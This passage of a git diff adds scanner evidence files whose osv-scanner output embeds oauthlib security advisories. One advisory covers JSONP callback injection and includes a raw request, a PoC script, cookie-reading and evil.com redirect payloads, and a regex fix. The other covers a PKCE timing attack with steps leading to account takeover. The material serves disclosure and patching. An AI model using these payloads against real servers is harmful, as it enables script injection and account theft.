applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location='https://evil.com/'//\",\n \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location='https://evil.com/'//();\n [200] Content-Type: (none) Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.", + "id": "GHSA-hj66-6f7g-4r5v", + "modified": "2026-09-29T18:00:06.461704652Z", + "published": "2026-09-29T17:53:41Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/951" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xpv3-w29h-x7cv/GHSA-xpv3-w29h-x7cv.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49265" + ], + "database_specific": { + "cwe_ids": [ + "CWE-208" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:56:31Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n\u003e **Note:** Practical exploitability is limited due to the single-use nature of \n\u003e authorization codes and real-world network noise. However, the vulnerable \n\u003e pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli", + "id": "GHSA-xpv3-w29h-x7cv", + "modified": "2026-09-29T18:15:04.747320327Z", + "published": "2026-09-29T17:56:31Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/963" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-empty-config.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-empty-config.txt new file mode 100644 index 000000000..04f2957ba --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-empty-config.txt @@ -0,0 +1,243 @@ +$ ["rtk", "/osv-scanner", "scan", "source", "--config", "/empty-config.toml", "--no-resolve", "--lockfile=requirements.txt:/candidate.lock", "--format", "json"] +{ + "results": [ + { + "source": { + "path": "/candidate.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "oauthlib", + "version": "3.3.1", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-hj66-6f7g-4r5v" + ], + "aliases": [ + "CVE-2026-49264", + "GHSA-hj66-6f7g-4r5v" + ], + "max_severity": "6.1" + }, + { + "ids": [ + "GHSA-xpv3-w29h-x7cv" + ], + "aliases": [ + "CVE-2026-49265", + "GHSA-xpv3-w29h-x7cv" + ], + "max_severity": "6.8" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 3.3.1", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hj66-6f7g-4r5v/GHSA-hj66-6f7g-4r5v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0.6.1" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.6.1", + "0.6.2", + "0.6.3", + "0.7.0", + "0.7.1", + "0.7.2", + "1.0.0", + "1.0.1", + "1.0.2", + "1.0.3", + "1.1.0", + "1.1.1", + "1.1.2", + "2.0.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49264" + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:53:41Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location='https://evil.com/'//\",\n \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location='https://evil.com/'//();\n [200] Content-Type: (none) Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.", + "id": "GHSA-hj66-6f7g-4r5v", + "modified": "2026-09-29T18:00:06.461704652Z", + "published": "2026-09-29T17:53:41Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/951" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xpv3-w29h-x7cv/GHSA-xpv3-w29h-x7cv.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49265" + ], + "database_specific": { + "cwe_ids": [ + "CWE-208" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:56:31Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n\u003e **Note:** Practical exploitability is limited due to the single-use nature of \n\u003e authorization codes and real-world network noise. However, the vulnerable \n\u003e pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli", + "id": "GHSA-xpv3-w29h-x7cv", + "modified": "2026-09-29T18:15:04.747320327Z", + "published": "2026-09-29T17:56:31Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/963" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} + +[stderr] +Warning: `source` exists as both a subcommand of OSV-Scanner and as a file on the filesystem. `source` is assumed to be a subcommand here. If you intended for `source` to be an argument to `source`, you must specify `source source` in your command line. +Starting filesystem walk for root: / +Scanned /candidate.lock file and found 174 packages +End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 20.625109ms elapsed, 20.625179ms wall time + +exit_code=1 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-version.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-version.txt new file mode 100644 index 000000000..220eb8cc7 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-version.txt @@ -0,0 +1,9 @@ +$ ["rtk", "/osv-scanner", "--version"] +osv-scanner version: 2.6.0 +osv-scalibr version: 0.5.2 +commit: e840a6e8adb14b7777c78e26cfbf6e2abc1d1fc6 +built at: 2026-09-14T01:44:58Z + +[stderr] + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-published-artifact-source-identity.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-published-artifact-source-identity.txt new file mode 100644 index 000000000..f1de3aafa --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-published-artifact-source-identity.txt @@ -0,0 +1,77 @@ +$ ["rtk", "/venv/bin/python", "-c", "import hashlib,json,sys,tarfile,zipfile\nfrom pathlib import Path\np,site=map(Path,sys.argv[1:3]); results=[]\nartifacts=json.loads((p/'fresh-caller-artifacts.json').read_text())\nartifacts += [{'filename':'openhands_sdk-1.50.0-py3-none-any.whl','name':'openhands-sdk'}, {'filename':'openhands_tools-1.50.0-py3-none-any.whl','name':'openhands-tools'}]\nfor artifact in artifacts:\n f=p/artifact['filename']; sources=[]\n if f.suffix=='.whl':\n with zipfile.ZipFile(f) as z:\n sources=[(n,z.read(n)) for n in z.namelist() if n.endswith('.py')]\n else:\n with tarfile.open(f,'r:gz') as t:\n for member in t.getmembers():\n rel='/'.join(member.name.split('/')[1:])\n if rel.startswith('func_timeout/') and rel.endswith('.py'):\n sources.append((rel,t.extractfile(member).read()))\n mismatches=[]\n for rel,data in sources:\n target=site/rel\n if not target.is_file() or target.read_bytes()!=data: mismatches.append(rel)\n results.append({'name':artifact['name'],'artifact':f.name,'artifact_sha256':hashlib.sha256(f.read_bytes()).hexdigest(),'python_sources_compared':len(sources),'mismatches':mismatches})\nprint(json.dumps(results,indent=2))\nassert all(r['python_sources_compared']>0 and not r['mismatches'] for r in results)\n", "", "/venv/lib/python3.13/site-packages"] +[ + { + "name": "oauthlib", + "artifact": "oauthlib-3.3.1-py3-none-any.whl", + "artifact_sha256": "88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1", + "python_sources_compared": 75, + "mismatches": [] + }, + { + "name": "requests-oauthlib", + "artifact": "requests_oauthlib-2.0.0-py2.py3-none-any.whl", + "artifact_sha256": "7dd8a5c40426b779b0868c404bdef9768deccf22749cde15852df527e6269b36", + "python_sources_compared": 15, + "mismatches": [] + }, + { + "name": "google-auth-oauthlib", + "artifact": "google_auth_oauthlib-1.2.2-py3-none-any.whl", + "artifact_sha256": "fd619506f4b3908b5df17b65f39ca8d66ea56986e5472eb5978fd8f3786f00a2", + "python_sources_compared": 6, + "mismatches": [] + }, + { + "name": "func-timeout", + "artifact": "func_timeout-4.3.5.tar.gz", + "artifact_sha256": "74cd3c428ec94f4edfba81f9b2f14904846d5ffccc27c92433b8b5939b5575dd", + "python_sources_compared": 6, + "mismatches": [] + }, + { + "name": "PyJWT", + "artifact": "pyjwt-2.14.0-py3-none-any.whl", + "artifact_sha256": "ad0cef71c756a56e74863c2919cf0985f72decbcfcb550ee2f422e7c62b5eedc", + "python_sources_compared": 12, + "mismatches": [] + }, + { + "name": "click", + "artifact": "click-8.5.0-py3-none-any.whl", + "artifact_sha256": "255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360", + "python_sources_compared": 17, + "mismatches": [] + }, + { + "name": "pypdf", + "artifact": "pypdf-6.19.0-py3-none-any.whl", + "artifact_sha256": "7e5d6e730e7dae87d560a2cee218b852f6498c8be61966f3cd02ead971e48d14", + "python_sources_compared": 59, + "mismatches": [] + }, + { + "name": "soupsieve", + "artifact": "soupsieve-2.9.2-py3-none-any.whl", + "artifact_sha256": "8089a26fd974ca7a1f30276d3d8492ab266ab15af581642dfe8aa162e0c1c823", + "python_sources_compared": 7, + "mismatches": [] + }, + { + "name": "openhands-sdk", + "artifact": "openhands_sdk-1.50.0-py3-none-any.whl", + "artifact_sha256": "441ea190fb0af2253bf431650f209fedfbb9eb7c41cf35440a0548296d4b0faa", + "python_sources_compared": 296, + "mismatches": [] + }, + { + "name": "openhands-tools", + "artifact": "openhands_tools-1.50.0-py3-none-any.whl", + "artifact_sha256": "b237043c892111624fdc1fe98e0d29f772ae1f614b487866d926775167c9635e", + "python_sources_compared": 93, + "mismatches": 